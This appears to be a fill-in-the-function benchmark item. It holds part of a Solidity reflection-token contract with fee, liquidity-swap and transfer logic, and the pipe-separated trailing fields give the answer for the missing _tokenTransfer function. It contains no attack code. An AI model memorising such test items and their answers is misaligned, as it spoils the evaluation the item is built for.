(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if (
contractTokenBalance >= numTokensSellToAddToLiquidity &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
if (balanceOf(uniswapV2Pair) >= 2 && IERC20(WETH).balanceOf(uniswapV2Pair) > 0)
{
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
swapAndLiquify(contractTokenBalance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
<FILL_FUNCTION>
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function safeTransferETH(address to, uint value) public onlyOwner {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
function safeTransfer(address token, address to, uint value) public onlyOwner {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
} |
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
| function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private | function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private |